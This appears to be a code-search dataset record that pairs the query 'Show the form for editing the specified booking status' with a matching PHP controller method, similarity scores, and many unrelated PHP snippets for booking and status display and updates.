"function col_status($values) {\n global $CFG;\n\n require_once($CFG->dirroot . \"/mod/bookingform/lib.php\");\n\n if (!empty($values->status)) {\n if ($identifier = bookingform_get_status($values->status)) {\n return get_string('status_' . $identifier, 'mod_bookingform');\n }\n }\n\n return '';\n }", "public function status($status)\n {\n if ($status == 16) {\n return \"<span class='badge badge-warning'>Order Placed</span>\";\n }\n\n if ($status == 3) {\n return \"<span class='badge badge-danger'>Canceled</span>\";\n }\n\n if ($status == 2) {\n return \"<span class='badge badge-warning'>Pending</span>\";\n }\n\n if ($status == 17) {\n return \"<span class='badge badge-danger'>Delivered</span>\";\n }\n\n return \"<span class='badge badge-danger'>Something Wrong</span>\";\n \n }", "public function show(Status $status)\n {\n\n $this->authorize('view', $status);\n return $status;\n }", "public function showBooking(Request $request, $id)\n {\n $booking = Booking::findOrFail($id);\n return view('agent.booking.show', [\n 'title' => 'Booking Info',\n 'seo_meta' => '',\n 'booking' => $booking,\n 'cancelllations' => Cancellation::all()->keyBy('booking_id'),\n ]);\n }", "public function get_status_text() {\n $text = strtr( $this->get_status(), yith_wcbk_get_booking_statuses() );\n\n return $text;\n }", "public function hotel_book_status(Request $request)\n {\n //dd($request->all());\n $bref = $request->bref;\n $status = new Client();\n $status_res= $status->request('GET',$this->hotel_url.'bookings/'.$bref.'?type=GRN',[\n 'headers' => [\n 'Content-Type' => 'application/json',\n 'api-key' => $this->hotel_key,\n 'Accept' => 'application/json',\n 'Accept-Encoding' => 'application/json'\n ]\n \n ]);\n\n $response = $status_res->getBody()->getContents();\n $status_res = json_decode($response,true);\n return view('frontend.pages.booking_detail' , compact('status_res','bref') );\n }", "public function statusButton() {\n\t\t$code = $this->status['code'];\n\t\tif ($code === '0'){\n\t\t\treturn '<div class=\"status-button s'.$code.'\">Closed</div>';\n\t\t}else if($code === '1'){\n\t\t\treturn '<div class=\"status-button s'.$code.'\">On Hold</div>';\n\t\t}else if($code === '2'){\n\t\t\treturn '<div class=\"status-button s'.$code.'\">Open</div>';\n\t\t}else if($code === '3'){\n\t\t\t$openingDate = ($this->status['openingdate'] === '') ? 'soon' : date(\"j M\", strtotime($this->status['openingdate']));\n\t\t\treturn '<div class=\"status-button s'.$code.'\">Opening '.$openingDate.'</div>'; \n\t\t}else if($code === '4'){\n\t\t\treturn '<div class=\"status-button s'.$code.'\">Closed <span>For Season</span></div>'; \n\t\t}else if($code === '5'){ \n\t\t\t$updateTime = ($this->status['updatetime'] === '') ? 'No Estimate' : 'Estimated: '.date(\"g:ia\", strtotime($this->status['updatetime']));\n\t\t\treturn '<div class=\"status-button s'.$code.'\">Delayed Opening</div>\n\t\t\t\t\t<div class=\"estimate\">'.$updateTime.'</div>'; \n\t\t}\n\t}", "public function bookingActive()\n\t{\n\t\t$ch = new Curl();\n\t\t\n\t\t$this->headers['Authorization'] = 'Bearer ' . $this->authToken;\n\t\t\n\t\t$data = [];\n\t\t\n\t\treturn $ch->get(GojekID::BASE_ENDPOINT . Action::bookingActive, $data, $this->headers)->getResponse();\n\t}", "protected function showStatus($status, TeraWurflUpdater $updater)\n {\n if ($status) {\n $this->cli_echo('Update of database successfully done.' . \"\\n\\n\");\n\n $this->cli_echo(\n 'WURFL Version: '\n . $updater->loader->version\n . ' (' . $updater->loader->last_updated . ')'\n . \"\\n\"\n );\n $this->cli_echo(\n 'WURFL Devices: '\n . $updater->loader->mainDevices . \"\\n\"\n );\n $this->cli_echo(\n 'PATCH New Devices: '\n . $updater->loader->patchAddedDevices . \"\\n\"\n );\n $this->cli_echo(\n 'PATCH Merged Devices: '\n . $updater->loader->patchMergedDevices . \"\\n\"\n );\n\n if (count($updater->loader->errors) > 0) {\n $this->cli_echo('Errors:' . \"\\n\");\n\n foreach ($updater->loader->errors as $error) {\n $this->cli_echo($error . \"\\n\");\n }\n\n $this->cli_echo(\"\\n\");\n }\n } else {\n $this->cli_echo('ERROR LOADING DATA!' . \"\\n\");\n $this->cli_echo('Errors:' . \"\\n\");\n $this->cli_echo(\"\\n\");\n\n foreach ($updater->loader->errors as $error) {\n $this->cli_echo($error . \"\\n\");\n }\n\n $this->cli_echo(\"\\n\");\n }\n }", "public function printStatus()\n {\n switch ($this->status) {\n case $this::STATUS_INACTIVE:\n return \\Yii::t('app', 'Inactive');\n break;\n case $this::STATUS_ACTIVE_LOCKED:\n return \\Yii::t('app', 'Locked');\n break;\n case $this::STATUS_ACTIVE_UNLOCKED:\n return \\Yii::t('app', 'Unlocked');\n break;\n }\n\n return \\Yii::t('app', 'Unknown status');\n }", "public function setStatus($status);", "public function setStatus($status);", "public function show(Status $status)\n {\n $this->authorize('view', $status);\n\n return new StatusResource($status);\n\n }", "public function edit(status $status)\n {\n //\n }", "public function showYourTicketsByStatus($status, $id)\n\t{\n\t\t\n\t\t$tickets = $this->ticketsRepository->getYourTicketByCreat($id, $status);\n\t\t\n\t\treturn view('content.tickets', compact('tickets'));\n\t}", "public function setBookingStatus($bookingStatus = null)\n {\n // validation for constraint: string\n if (!is_null($bookingStatus) && !is_string($bookingStatus)) {\n throw new \\InvalidArgumentException(sprintf('Invalid value, please provide a string, \"%s\" given', gettype($bookingStatus)), __LINE__);\n }\n if (is_null($bookingStatus) || (is_array($bookingStatus) && empty($bookingStatus))) {\n unset($this->BookingStatus);\n } else {\n $this->BookingStatus = $bookingStatus;\n }\n return $this;\n }", "function updateStatus(&$status, &$statusflag)\n {\n Requirements::customCSS('.col-ScheduledStatusDataColumn i {\n width: 16px;\n height: 16px;\n display: block;\n float: left;\n margin-right: 6px;\n }', 'ScheduledStatusDataColumn_Icons');\n if ( $this->owner->getEmbargoIsSet() ) {\n if ( $this->owner->getScheduledStatus() ) {\n // Under Embargo\n $status .= '<i class=\"font-icon-eye btn--icon-md text-danger\" title=\"Embargo active\"></i>'.$this->owner->dbObject(\"Embargo\")->Nice();\n } else {\n // Embargo expired\n $status .= '<i class=\"font-icon-eye btn--icon-md text-info\" title=\"Embargo expired\"></i>'.$this->owner->dbObject(\"Embargo\")->Nice();\n }\n }\n if ( $this->owner->getExpiryIsSet() ) {\n if ( $this->owner->getEmbargoIsSet() ) {\n $status .= '<br />'; // add a break if both set\n }\n if ( $this->owner->getExpiredStatus() ) {\n // Expired/unpublished\n $status .= '<i class=\"font-icon-eye-with-line btn--icon-md text-danger\" title=\"Expired/unpublished\"></i>'.$this->owner->dbObject(\"Expiry\")->Nice();\n } else {\n // Scheduled to expire\n $status .= '<i class=\"font-icon-eye-with-line btn--icon-md text-warning\" title=\"Scheduled to expire\"></i>'.$this->owner->dbObject(\"Expiry\")->Nice();\n }\n }\n }", "private static function display(string $view, string $title, int $status) {\n\n\t\t\t$screen = self::get($view);\n\n\t\t\t# Set data\n\n\t\t\t$screen->language = Extend\\Languages::get('iso');\n\n\t\t\t$screen->title = Language::get($title);\n\n\t\t\t$screen->copyright = Date::getYear();\n\n\t\t\t# ------------------------\n\n\t\t\tTemplate::output($screen, $status);\n\t\t}", "function formatStatus($status)\n{\n\tswitch ($status)\n\t{\n\t\tcase 'Active':\n\t\t\treturn \"<span class=\\\"label label-success\\\">Active</span>\";\n\n\t\tcase 'Inactive':\n\t\t\treturn \"<span class=\\\"label\\\">Inactive</span>\";\n\n\t\tcase 'Suspended':\n\t\t\treturn \"<span class=\\\"label label-warning\\\">Suspended</span>\";\n\n\t\tcase 'Pending':\n\t\t\treturn \"<span class=\\\"label label-warning\\\">Pending</span>\";\n\n\t\tcase 'Online':\n\t\t\treturn \"<span class=\\\"label label-success\\\">Online</span>\";\n\n\t\tcase 'Offline':\n\t\t\treturn \"<span class=\\\"label label-important\\\">Offline</span>\";\n\n\t\tcase 'Started':\n\t\t\treturn \"<span class=\\\"label label-success\\\">Started</span>\";\n\n\t\tcase 'Stopped':\n\t\t\treturn \"<span class=\\\"label label-warning\\\">Stopped</span>\";\n\n\t\tdefault:\n\t\t\treturn \"<span class=\\\"label\\\">Default</span>\";\n\t}\n}", "function listStatus($con, $def_status)\n\t{\n\t\tswitch ($def_status) \n\t\t{\n\t\t\tcase 0:\n\t\t\t\t$statusText = \"Inactive/Archived\";\n\t\t\t\tbreak;\n\t\t\tcase 1: \n\t\t\t\t$statusText = \"Active\";\n\t\t\t\tbreak;\n\t\t\tcase 2:\n\t\t\t\t$statusText = \"Pending\";\n\t\t\t\tbreak;\n\t\t\tdefault:\n\t\t\t\t$statusText = \"Undetermined\";\n\t\t\t\tbreak;\n\t\t}\n\n\t\treturn $statusText;\n\t}", "public function UpdateStatusFromBookings()\n\t{\tif ($this->id)\n\t\t{\t$this->UpdateStatus(count($this->GetBookings()) >= $this->details['tqty'] ? 'sold_out' : 'in_stock');\n\t\t}\n\t}", "public function show($final_status)\n {\n try {\n\n if (!request()->isJson())\n return $this->response->unauthorized();\n\n if (!is_numeric($final_status))\n return $this->response->badRequest();\n\n $finalStatusModel = FinalStatus::find($final_status);\n\n if (!isset($finalStatusModel))\n return $this->response->noContent();\n\n return $this->response->success($finalStatusModel->format());\n } catch (\\Exception $exception) {\n\n return $this->response->exception($exception->getMessage());\n }\n }", "function locationstatus($status){\n if($status == 0){\n $res='<a style=\"text-decoration:none\" class=\"ml-5\" title=\"点击启用\"><span onclick=\"o2o_status(this,1)\" class=\"label label-warning radius\">停 用</span></a>';\n }elseif ($status == 1){\n $res='<a style=\"text-decoration:none\" class=\"ml-5\" title=\"点击停用\"><span onclick=\"o2o_status(this,0)\" class=\"label label-success radius\">正 常</span></a>';\n }elseif ($status == 2){\n $res='<a><span class=\"label label-secondary radius\">待 审 核</span></a>';\n }elseif ($status == -1){\n $res='<a><span class=\"label label-danger radius\">删 除</span></a>';\n }\n return $res;\n}", "public function edit(Status $status)\n {\n //\n }", "public function show($id)\n {\n $booking = Booking::find($id);\n return view('bookings.details', compact('booking'));\n\n }", "function dev_cf_display_status( $name, $post_id ) {\n\n\t$status = dev_get_ticket_status( $post_id );\n\n\tif ( 'closed' === $status ) {\n\t\t$label = __( 'Closed', 'awesome-support' );\n\t\t$color = dev_get_option( \"color_$status\", '#dd3333' );\n\t\t$tag = \"<span class='dev-label' style='background-color:$color;'>$label</span>\";\n\t} else {\n\n\t\t$post = get_post( $post_id );\n\t\t$post_status = $post->post_status;\n\t\t$custom_status = DevSupport\\Posts\\Tickets::get_post_status();\n\n\t\tif ( ! array_key_exists( $post_status, $custom_status ) ) {\n\t\t\t$label = __( 'Open', TEXTDOMAIN );\n\t\t\t$color = dev_get_option( \"color_$status\", '#169baa' );\n\t\t\t$tag = \"<span class='dev-label' style='background-color:$color;'>$label</span>\";\n\t\t} else {\n\t\t\t$defaults = array(\n\t\t\t\t'queued' => '#1e73be',\n\t\t\t\t'processing' => '#a01497',\n\t\t\t\t'hold' => '#b56629'\n\t\t\t);\n\t\t\t$label = $custom_status[ $post_status ];\n\t\t\t$color = dev_get_option( \"color_$post_status\", false );\n\n\t\t\tif ( false === $color ) {\n\t\t\t\tif ( isset( $defaults[ $post_status ] ) ) {\n\t\t\t\t\t$color = $defaults[ $post_status ];\n\t\t\t\t} else {\n\t\t\t\t\t$color = '#169baa';\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$tag = \"<span class='dev-label' style='background-color:$color;'>$label</span>\";\n\t\t}\n\t}\n\n\techo $tag;\n\n}", "public function show($id)\n {\n $booking = Booking::find($id);\n return view('bookings.show')->with('booking' , $booking);\n }", "public function BookingDetail($booking_id,$type,$vendor_id=null){\n\t\t\n\t\t$this->load->view('includes/header');\n\t\t$this->load->model('BookingModel');\t\t\n\t\t$this->BookingModel->ReadStatus($booking_id);\n\t\t$datax['num']=$this->BookingModel->UnReadBookings();\n\t\t$this->load->view('includes/aside',$datax);\n\t\t\n\t\t$data['booking_id']=$booking_id;\n\t\t\n\t\t$data['details']=$this->BookingModel->BookingDetail($booking_id,$type)[0];\n\t\tif ($vendor_id!=\"\") {\n\t\t\t$data['rates']=$this->BookingModel->PerKmRate($vendor_id,$type);\n\t\t$data['totaldebit']=$this->BookingModel->TotalDebit($booking_id,$vendor_id);\n\t\t}\n\t\t\n\t\tif ($type=='local'){\n\t\t\t\n\t\t\t$this->load->view('booking/LocalBookingDetail',$data);\n\t\t\t\n\t\t}elseif($type=='outstation'){\n\t\t\t\n\t\t\t$this->load->view('booking/OSBookingDetail',$data);\n\t\t\t\n\t\t}elseif($type=='transfer'){\n\t\t\t\n\t\t\t$this->load->view('booking/TRBookingDetail',$data);\n\t\t}\n\t\t\n\t\t$this->load->view('includes/footer');\n\t\t\n\t}", "public function tableStatus(): string\n {\n return sprintf(\n '<div class=\"table-status table-status-%s\">%s</div>',\n $this->status,\n config('status.options')[$this->status]\n );\n }", "public function getbooking_detail($status=''){\n \t\t $this->db->select('*');\n\t\t\t$this->db->from(PAYMENT);\n\t\t\tif($status!='') {\n\t\t\t$this->db->where(PAYMENT.'.payment_type',$status);\n\t\t\t}\n\t\t\t$query = $this->db->get();\t\t\t\n\t\t\t$resultContent = $query->result_array();\n\t\t\treturn $resultContent;\t\n }", "public function show($id)\n {\n $booking = Booking::find($id);\n //obj \n return view('bookings.detail',compact('booking'));\n \n }", "public function edit(Booking $booking)\n {\n $tax = TaxSetting::active()->first();\n $employees = User::where('is_employee', '1')->get();\n $businessServices = BusinessService::active()->get();\n $view = view('admin.booking.edit', compact('booking', 'tax', 'businessServices', 'employees'))->render();\n return Reply::dataOnly(['status' => 'success', 'view' => $view]);\n }", "public function showAction(Reservationbook $reservationbook)\n {\n $deleteForm = $this->createDeleteForm($reservationbook);\n\n return $this->render('reservationbook/show.html.twig', array(\n 'reservationbook' => $reservationbook,\n 'delete_form' => $deleteForm->createView(),\n ));\n }", "public static function getBookingByHotelAndStatus($hotel, $status) {\n \t$table = new Booking();\n \t$where = $table->select()->where(\"from_hotel=\".$hotel->id.\" OR to_hotel=\".$hotel->id);\n \tif (!empty($status)) {\n \t\t$where = $where->where(\"status IN (?)\", $status);\n \t}\n \t$where = $where->order(\"created DESC\");\n \treturn $table->fetchAll($where);\n }", "public function show($id)\n\t{\n\t\t$booking = Booking::findOrFail($id);\n\n\t\treturn \\View::make('bookings.show', compact('booking'));\n\t}", "public function status()\r\n {\r\n if($this->twitter->check_login() == False)\r\n {\r\n url::redirect($this->docroot.'ktwitter/demo');\r\n }\r\n \r\n $response = False;\r\n // now if we are \"POSTING\" then we need to update status first\r\n if($_POST)\r\n {\r\n // setStatus does what it says on the tin (no input sanitized!!!!!)\r\n $response = $this->twitter->setStatus($this->input->post('status'));\r\n \r\n // manipulating the response object\r\n $response = $response->text;\r\n\r\n }\r\n \r\n // get the timeline\r\n $timeline = $this->twitter->getStatus();\r\n \r\n // show the page\r\n $this->page->content = new View('ktwitter/demo/status',array('response'=>$response,'timeline'=>$timeline));\r\n $this->page->render(True);\r\n \r\n }", "function checkStatus($status)\n\t{\n\t\t$a = array('A' => 'Ativo', 'I' => 'Inativo', 'B' => 'Bloqueado', 'S' => 'Suspenso', 'C' => 'Cancelado', 'L' => 'Liberado');\n\t\t//return \"<span class='status \".strtolower($a[$status]).\"'>\".$a[$status].\"</span>\";\n\t\treturn $a[$status];\n\t}", "public function status($status)\n {\n $ids = Request::get(\"id\");\n\n $ids = is_array($ids) ? $ids : [$ids];\n\n foreach ($ids as $id) {\n\n $activity = TenderActivity::findOrFail($id);\n\n // Fire saving action\n Action::fire(\"activity.saving\", $activity);\n\n $activity->status = $status;\n $activity->save();\n\n // Fire saved action\n\n Action::fire(\"activity.saved\", $activity);\n }\n\n if ($status) {\n $message = trans(\"tenders::activities.events.activated\");\n } else {\n $message = trans(\"tenders::activities.events.deactivated\");\n }\n\n return Redirect::back()->with(\"message\", $message);\n }", "public function show($id)\n {\n //return view('statuses.index', compact('status'));\n }", "public function showTicketsByStatus($status)\n\t{\n\t\t$tickets = $this->ticketsRepository->getByStatus($status);\n\t\treturn view('content.tickets', compact('tickets'));\n\t}", "public function setStatus(Status $status);", "public function checkStatus()\n {\n echo 'All Branch of Bank is Opened at 9:30 AM<br>';\n }", "public static function render_status_in_edit() {\n\t\t// Bailout if not estimates.\n\t\tif ( 'munim_estimate' !== get_post_type() ) {\n\t\t\treturn;\n\t\t}\n\n\t\t$estimate_status_slug = get_post_status();\n\t\t$estimate_status_label = get_post_status_object( $estimate_status_slug )->label;\n\n\t\t$script = \"<script>\n\t\t\t\tjQuery(document).ready( function() {\n\t\t\t\t\tjQuery( 'select[name=\\\"post_status\\\"], select[name=\\\"_status\\\"]' )\n\t\t\t\t\t\t.append( '<option value=\\\"approved\\\">Approved</option>' )\n\t\t\t\t\t\t.append( '<option value=\\\"billed\\\">Billed</option>' )\n\t\t\t\t\t\t.append( '<option value=\\\"invalid\\\">Invalid</option>' )\n\t\t\t\t\t\t.append( '<option value=\\\"cancelled\\\">Cancelled</option>' )\n\t\t\t\t\t\t.val('%1\\$s');\n\t\t\t\t});\n\t\t\t\tjQuery( '#post-status-display' ).text( '%2\\$s' );\n\t\t\t</script>\";\n\n\t\t// phpcs:ignore\n\t\techo sprintf( $script, $estimate_status_slug, $estimate_status_label );\n\t}", "public function printStatusSelect ($selectedStatus = \"\") {\r\n\t\t$db = new DB();\r\n\t\t$db->connect();\r\n\t\r\n\t\t$sql = \"SELECT * FROM status\";\r\n\t\t$query = $db->query($sql);\r\n\t\r\n\t\twhile ($oneRow = $query->fetch_assoc()) {\r\n\t\t\t$selectedText = \"\";\r\n\t\t\tif ($selectedStatus == $oneRow[\"id\"]) {\r\n\t\t\t\t$selectedText = ' selected=\"selected\" ';\r\n\t\t\t}\r\n\t\t\techo '<option value=\"'.$oneRow[\"id\"].'\" '.$selectedText.'>'.$oneRow[\"name\"].'</option>';\r\n\t\t}\r\n\t}", "public function indexAction()\n {\n // Append breadcrumbs\n $this->view->getBreadcrumbBag()->addOne('Cars', 'Rentcar:Admin:Car@indexAction')\n ->addOne('Bookings');\n\n $orderStCol = new OrderStatusCollection();\n $bookingService = $this->getModuleService('bookingService');\n\n return $this->view->render('booking/index', [\n 'bookings' => $this->getFilter($bookingService),\n\n // Vars for filters\n 'cars' => $this->getModuleService('carService')->fetchList(),\n 'orderStatuses' => $orderStCol->getStatuses(),\n 'filterApplied' => $this->request->getQuery('filter', false)\n ]);\n }", "public function updateBookingStatus(){\n $command = Yii::$app->db->createCommand();\n $id= Yii::$app->request->bodyParams[\"booking2\"];\n\n try {\n $command->update('car', ['pendingTime' => 'on', 'inUse' => 'pending'], 'id = '.$id)->execute();\n } catch (Exception $e) {\n printf(\"Cannot update data\");\n }\n }", "public function show($id)\n {\n return $this->bookingRepository->find($id);\n }", "public function show($id) {\n\n $booking = $this->booking->find($id);\n return view('backend.booking.show', compact('booking'));\n }", "public function edit(Booking $booking)\n {\n //\n }", "public function edit(Booking $booking)\n {\n //\n }", "public function edit(Booking $booking)\n {\n //\n }", "public function edit(Booking $booking)\n {\n //\n }", "public function edit(Booking $booking)\n {\n //\n }", "public function edit(Booking $booking)\n {\n //\n }", "public function approval_status($status){\n\t\tif($status == 'W' || $status == 'R'){\n\t\t\t$st = 'Pending';\n\t\t}elseif($status == 'A'){\t\n\t \t\t$st = 'Approved';\n\t\t}\n\t\treturn $st;\n\t}", "public function get_mark_action_url( $status, $params = array() ) {\n $allowed_statuses = apply_filters( 'yith_wcbk_booking_product_get_mark_action_url_allowed_statuses', array( 'paid', 'confirmed', 'unconfirmed' ), $this );\n $url = '';\n if ( in_array( $status, $allowed_statuses ) ) {\n $url = \"admin-ajax.php?action=yith_wcbk_mark_booking_status&status={$status}&booking_id={$this->get_id()}\";\n $url = add_query_arg( $params, $url );\n $url = admin_url( $url );\n }\n\n return apply_filters( 'yith_wcbk_booking_product_get_mark_action_url', $url, $status, $params, $allowed_statuses, $this );\n }", "public function show($id)\n {\n $booking = Booking::query()->find($id);\n return view('user.booking.show', compact('booking'));\n }", "public function show(Transaction $transaction, Booking $booking)\n {\n /*$booking_details = DB::table('bookings')->where('transaction_id', $transaction->transaction_id)->get();\n\n foreach ($booking_details as $key => $value) {\n $booking->from_date = $value->from_date;\n $booking->to_date = $value->to_date;\n $booking->no_of_rooms = $value->no_of_rooms;\n $booking->room_type_id = $value->room_type_id;\n $booking->adult = $value->adult;\n $booking->child = $value->child;\n }\n\n return view('booking_details')->with([\n\n 'transaction' => $transaction, 'booking' => $booking\n\n ]);*/\n }", "public function projectStatus($status)\n {\n switch($status)\n {\n case 0: echo 'Dokončeno'; break;\n case 1: echo 'Zaplaceno'; break;\n case 2: echo 'Vyúčtováno'; break;\n default: break;\n }\n }", "function show_status($getStatus,$getDetail) {\r\n\tglobal $gp_arr_status;\r\n\t\r\n\tif($getDetail==\"item\"){\r\n\t\tswitch($getStatus){\r\n\t\t\tcase 0: $tmpString=$gp_arr_status[0];break;\r\n\t\t\tcase 1: $tmpString='<span class=\"body_good\">'.$gp_arr_status[1].'</span>';break;\r\n\t\t\tcase 2: $tmpString='<span class=\"body_error\">'.$gp_arr_status[2].'</span>';break;\r\n\t\t}\r\n\t}else{\r\n\t\tswitch($getStatus){\r\n\t\t\tcase 0: $tmpString='<span class=\"body_error\">Hidden</span>';break;\r\n\t\t\tcase 1: $tmpString='<span class=\"body_good\">LIVE</span>';break;\r\n\t\t}\r\n\t}\r\n\t\r\n\treturn $tmpString;\r\n}", "public function indexWithStatus(Request $request, $status)\n {\n try {\n return Conference::where('status', $status)->get();\n } catch (Exception $e) {\n return response()->error();\n }\n }", "public function getStatusString()\r\n {\r\n return $GLOBALS['TICKETSTATUS_DESC'][$this->status];\r\n }", "function status($state=\"1\"){\n\t\t\t\tswitch($state){\n\t\t\t\t\t\tcase 0:\n\t\t\t\t\t\t\treturn \"Inactive\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\tcase 1:\n\t\t\t\t\t\t\treturn \"Active\";\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t}", "public function show(Reservation $reservation)\n {\n //\n }", "public function show(Reservation $reservation)\n {\n //\n }", "public function show(Reservation $reservation)\n {\n //\n }", "public function get_status_text($status)\n\t{\n\t\tif($status == 1)\n\t\t{\n\t\t\t$status_text = 'Active';\n\t\t}\n\t\telseif($status == 0)\n\t\t{\n\t\t\t$status_text = 'Inactive';\n\t\t}\n\t\treturn $status_text;\n\t}", "function setStatus($status) \n {\n return $this->instance->setStatus($status);\n }" ]
[ "0.6986834", "0.69261676", "0.69261676", "0.69261676", "0.6755948", "0.6755948", "0.6755948", "0.6755948", "0.6755948", "0.66167283", "0.6426547", "0.63491875", "0.6178452", "0.61676115", "0.6167539", "0.6146496", "0.61399204", "0.6062278", "0.60461736", "0.6039321", "0.60319406", "0.5962606", "0.59593076", "0.5951618", "0.5942999", "0.59239876", "0.59159976", "0.59152764", "0.5869199", "0.5867722", "0.58642995", "0.5855057", "0.5852263", "0.5833226", "0.5832747", "0.5813932", "0.5810513", "0.5783055", "0.574562", "0.57438314", "0.57094026", "0.56784743", "0.56766677", "0.56766677", "0.5661888", "0.5631381", "0.5613307", "0.5611285", "0.5598875", "0.558419", "0.5581236", "0.5574017", "0.55692554", "0.5564323", "0.5534476", "0.5530115", "0.553005", "0.5519167", "0.55094105", "0.5502504", "0.5500318", "0.5497307", "0.54870605", "0.54834485", "0.54776126", "0.5472208", "0.54601383", "0.54524773", "0.5446715", "0.54404795", "0.5433127", "0.54262096", "0.54188174", "0.5415356", "0.54133517", "0.5408541", "0.54002136", "0.54000413", "0.53946203", "0.5392728", "0.5383571", "0.5383571", "0.5383571", "0.5383571", "0.5383571", "0.5383571", "0.5381859", "0.5379395", "0.53758097", "0.53736603", "0.53593004", "0.53573525", "0.5355239", "0.53504634", "0.5349916", "0.5346399", "0.5346399", "0.5346399", "0.53456986", "0.5339918" ]
0.6553512
10
Show the form for editing the specified booking status.
public function edit($id) { $bookingStatus = BookingStatus::findOrFail($id); return view('booking_status.edit', compact('bookingStatus')); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "public function edit(status $status)\n {\n //\n }", "public function edit(Status $status)\n {\n //\n }", "public function edit(Booking $booking)\n {\n //\n }", "public function edit(Booking $booking)\n {\n //\n }", "public function edit(Booking $booking)\n {\n //\n }", "public function edit(Booking $booking)\n {\n //\n }", "public function edit(Booking $booking)\n {\n //\n }", "public function edit(Booking $booking)\n {\n //\n }", "public function edit(Booking $booking)\n {\n $tax = TaxSetting::active()->first();\n $employees = User::where('is_employee', '1')->get();\n $businessServices = BusinessService::active()->get();\n $view = view('admin.booking.edit', compact('booking', 'tax', 'businessServices', 'employees'))->render();\n return Reply::dataOnly(['status' => 'success', 'view' => $view]);\n }", "public function edit(Status $status)\n {\n $this->authorize('update', $status);\n }", "public function edit(Request $request, Status $status)\n {\n return view('firetakeaway::content.' . $this->route . '.edit', compact('status'));\n }", "public function edit($id)\n {\n $booking = new Booking;\n $oldBooking = $booking->where('id', $id)->first();\n return view('pages.booking.edit')->with('booking', $oldBooking);\n }", "public function edit($id) {\n $attr = [ \n 'title' => trans('app.orders')\n ];\n if(!Entrust::can(['update_order'])){\n $attr += [ \n 'unauthorized_message' => trans('app.unauthorized_message')\n ];\n return view('backend.auth.unauthorized', compact('attr'));\n }\n $booking = $this->booking->find($id);\n\n //dd($booking);\n //$details_raw = $booking->bookingDetails; dd($details_raw);\n //$details = detailsCartFormated($details_raw); \n //dd($details);\n\n /*$tags = null;\n\n foreach ($booking->tags as $tag) {\n $tags .= ',' . $tag->name;\n }\n $tags = substr($tags, 1);*/\n //$category_options[''] = '-';\n //$category_options += renderLists($this->category->getTermsByPostType('booking'));\n $status_options = BookingStatus::all()->lists('name', 'id');\n //dd($booking);\n return view('backend.booking.edit', compact('booking','category_options', 'status_options'));\n }", "public function edit($id)\n {\n $booking = Booking::find($id);\n return view('bookings.edit', compact('booking'));\n }", "public function edit($id)\n {\n $booking = Booking::find($id);\n return view('bookings.edit')->with('booking', $booking);\n }", "public function edit(Status $status)\n {\n return redirect()->route('statuses.index', [\n 'form' => ['edit' => true],\n 'name' => $status->name,\n 'id' => $status->id\n ]);\n }", "public function edit($id)\n\t{\n\t\t$booking = Booking::findOrFail($id);\n\n\t\t$listings = Listing::query()->orderBy('name')->get(['id','name'])->pluck('name', 'id');\n\t\t$bookingStatuses = BookingStatus::all(['id','name'])->pluck('name', 'id');\n\n\t\t$resolutions = Resolution::orderBy('date', 'DESC')\n ->select([DB::raw(\"CONCAT(code, ' (', date, ') Assigned booking ID: ', IFNULL(booking_id, '')) as title\"), 'id'])\n ->pluck('title', 'id');\n\n\t\treturn \\View::make('bookings.edit', compact('booking','listings','bookingStatuses', 'resolutions'));\n\t}", "public function edit($id)\n {\n if(Auth::check()){\n $booking = bookings::find($id);\n return view('dashboard.booking.update',compact('booking'));\n }else{\n return redirect(route('login'));\n }\n\n }", "public function edit($id)\n {\n $booking = Booking::find($id);\n //obj \n return view('bookings.edit',compact('booking'));\n // compact -> to send data to edit.blade.php\n }", "public function edit($id)\n { \n\n $booking = Booking::find($id);\n \n \n if(auth()->user()->id !==$booking->user_id){\n return redirect('/bookings')->with('error', 'Unauthorized Page');\n }\n return view('bookings.edit')->with('booking' , $booking);\n }", "public function edit(StatusOrder $statusOrder)\n {\n //\n }", "public function edit(OrderStatus $orderStatus)\n {\n //\n }", "public function edit(ClientStatuses $status)\n {\n $discount = Discounts::whereIn('status',[1,3])->get();\n return view('statuses.clients.create_edit', compact('status','discount'));\n }", "public function edit($id)\n {\n\t\t$apstatus = ApplicationStatus::find($id);\n return view('admin.application-status.edit',['apstatus'=>$apstatus]);\n }", "public function edit($id)\n\t{\n\t\t$booking = Booking::find($id);\n\n\t\t$clients = Client::all();\n\t\t$cars = Car::all();\n\n\t\treturn View::make('bookings.edit', compact('booking', 'cars', 'clients'));\n\t}", "public function edit($id)\n {\n $booking=Booking::findOrFail($id);\n $kamar=Kamar::all();\n $pelanggan=Pelanggan::all();\n return view('booking.edit',compact('booking','kamar','pelanggan'));\n\n \n }", "public function edit($id)\n {\n return view('booking/edit')->with('name', $id);\n }", "public function edit(Booking $booking)\n {\n $booking->load(\n 'tour',\n 'tour.tourOptions',\n 'ticketOptions',\n 'bookingTickets',\n 'bookingTickets.ticket',\n 'ticketOptions.tourOption',\n 'schedule',\n 'schedule.user'\n );\n\n return [\n 'data' => [\n 'form' => new Resource($booking)\n ]\n ];\n }", "public function editStatus($id)\n {\n $result = array('ibooking'=>'');\n if($this->input->post('booking_no'))\n {\n//\t\techo(\" inside\");\n \t\t $data = array(\n 'status' => $this->input->post('status'),\n\t\t'modified' => date(\"Y-m-d H:i:s\")\t\t\n\n \t\t);\n\n \t\t$result['ibooking'] = $this->SAbookingModel->updateData($data,$id);\n if($result['ibooking'] == 'SUCCESS')\n {\n $base_url=base_url();\n redirect(\"$base_url\".\"SABooking/bookingList\");\n }\n }\n $this->load->view('template/header');\n $this->load->view('template/sidebar');\n $result['ibooking']=$this->SAbookingModel->editStatus($id);\n $result['iproduct']=$this->SAbookingModel->productList($id);\n $this->load->view('SAdmin/booking/updateBooking',$result);\n $this->load->view('template/footer');\n}", "public function edit($id)\n {\n // $editSchedule = bookings::find($id);\n // return view('mybookings',compact('editSchedule'));\n \n $booking = bookings::find($id);\n // return $bookings;\n if (Auth::user()->role=='user'){\n return view('/reschedule')->with('booking', $booking);\n }else{\n return view('/teamleadreschedule')->with('booking', $booking);\n }\n }", "public function edit(Transaction $transaction, Booking $booking)\n {\n //DB::enableQueryLog();\n $booking_details = DB::table('bookings')->where('transaction_id', $transaction->transaction_id)->get();\n //dd(DB::getQueryLog());\n\n //echo \"<pre>\";print_r($booking);exit();\n\n /*$booking_details=DB::select(\"select booking_id,from_date,to_date,room_type_id,no_of_rooms,adult,child from bookings where transaction_id 